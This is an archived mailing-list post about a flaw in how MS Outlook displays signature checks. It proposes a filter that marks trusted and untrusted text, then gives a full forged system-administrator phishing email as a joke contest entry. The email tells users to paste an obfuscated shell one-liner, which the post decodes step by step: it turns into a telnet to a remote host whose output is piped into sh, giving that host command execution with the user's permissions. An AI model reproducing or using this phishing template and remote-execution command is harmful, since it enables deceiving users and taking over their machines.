<SNIPPETY>
> What MS Outlook appears to do is display status information about
> signature checking on messages in the mail message frame itself,
> indistinguishable from ordinary text. The obvious attack is to send
> a user unsigned mail (it could be encrypted, to add additional
> legitimacy to the attack) with text at the beginning of the message
> simulating the output of signature checking on the recipient's
> computer. This can be done fairly convincingly -- it is hard to get
> the timestamp exactly correct, but few users check the details
> thoroughly if the message appears normal..
At least in my environment, you could put *everything* through a filter, so
that it could stick in some kind of noticeable border between trusted and
untrusted data:
-------------------------------------------------------------------------------------
ALL INFORMATION ON THIS MESSAGE'S INTEGRITY, IF ANY IS AVAILABLE, IS ABOVE THIS LINE.
-------------------------------------------------------------------------------------
or just something saying that no signature was verified.
Heck, if it felt like it <:)>, it could even filter out messages with things
that looked too much like that (say, a line with >20 caps between two lines
with >20 non-alphanumerics)
In environments with full support for displaying anything that can go in a Web
browser, I suspect some trickery with frames and/or construction of a
Javascript program to reproduce the message could also produce the desired
effect without Microsoft cooperation.
It's the exact same thing, only you're doing everything in the filter, so it's
implementable with nothing more than the requisite type of plug-in support in
the mail client. That is, they can use the insecure Outlook, then pay for our
plug-in. :) The distinction between stuff from inside the TCB and stuff from
outside it is still there, just different.
After hearing about the concept of mandatory access controls for the first
time, I thought it natural that it would be used to keep untrusted data from
going certain places in more or less the same manner as it would keep secret
data from going certain places. Is it?
<SNIP>
>
> (Interesting thought experiment: what piece of email could you send
> with a faked signature for maximum humor value, financial reward,
> and/or chaos. Target must be a MS Outlook user or otherwise subject
> to this attack. If you submit entries to "[EMAIL PROTECTED]",
> I'll put them on a web page and the best few will get
> cypherpunks/coderpunks/cryptography/dbs/dcsb archive CDs when I finish
> making them.)
First, I'd like to warn everybody that if you do any of this, it's very much
your fault; the most severe consequence I could possibly intend to come from
this is for cypherpunks' "ThetaMonger" to severely burn his hand due to a
guffaw-related coffee spewing. There's more to what SPs say than meets the eye,
boy-o. More on that later, perhaps.
A forged message from system administrators mentioning an upcoming upgrade
relating to security would likely cause itself to become true.
Also, remember Internet Cleaning Day? That extra false sense of authority
behind a company/armed-forces/etc. Network Cleaning Day would make that much
more effective.
For non-trained users of non-secure Unices: tell them, in a signed message,
dated almost one week before the message is actually received if possible,
something to this effect (wherever you send the message, users should be able
to easily get commands from an e-mail client to a bash):
<<<<
Users should be sure to check the integrity of their private keys with the
key holding center after the installation of the new Secure Electronic Delivery
(SED) packages.
If you are not at the primary location (see below), it will be necessary to
obtain your location ID (ten numbers) and your server ID (ten characters with
at least one number), and, if you are located outside the U.S., the name of
your key holding center. All of this is accessible via the Web interface to
SED:
http://3506465139:5934/sed/key-check-form.html
However, if, like most users, you are accessing this account from the primary
location, [location where message is sent], it is only necessary to cut and
paste the following into to a shell prompt:
echo kcheck 3506465139|sed y/keyhldcentr/t3flPqenpf8/|sh|tail|sh|[ ]&
[Include custom instructions that will make it easier for users to get the
command run]
It is absolutely imperative that all users do this as soon as possible. Since
administrators cannot automate the process, neglecting to update your keys by
the deadline, one week from today [actually minutes after message is sent],
will adversely affect security, and such negligence WILL NOT BE TOLERATED.
Thank you fo your prompt compliance.
~ [administrator name]
[scary-looking title]
>>>>
Why not simply ask the user to echo + + > ~/.rhosts or something like that? No
good reason. :) Inserting garbage with sed allows easier construction of more
believable cover stories. More users would more likely notice something bad
about .rhosts than anything at all about this pile of junk, which requires an
instant's effort for even a UNIX guru to untangle, although anyone
crypto-savvy will smell the BS. The attacker gets instant feedback, too -- look
at what happens when someone falls for it...
For those not familiar with UNIX, or not willing to unravel the command:
When someone runs the command, the output of
echo kcheck 3506465139
(which is kcheck 3506465139) goes to
sed y/keyhldcentr/t3flPqenpfZ/
which performs various letter substitutions to come out with telnet 3506465139
(equivalent to telnet www.venona.com) which goes to
sh
which runs the command, and sends the output (part of which comes from venona)
to
tail
which cuts off all but the last ten lines of output of telnet, so that venona
can ensure that no ugly error messages are produced by the following command:
sh
which does venona's nefarious bidding, sending its output to
[ ]
which doesn't output anything, no matter what the output from sh is. The & at
the end (which the attacker may wish to omit) means the user doesn't have to
wait for the machine to execute venona's commands.
So, at the end of this saga, the owner of www.venona.com (you might know him)
is able to run with the user's permissions any commands he wishes. Also, he
knows exactly how many users are fooled without attempting any logins or doing
anything like that. Can mix it up to do different things to different users,
too.
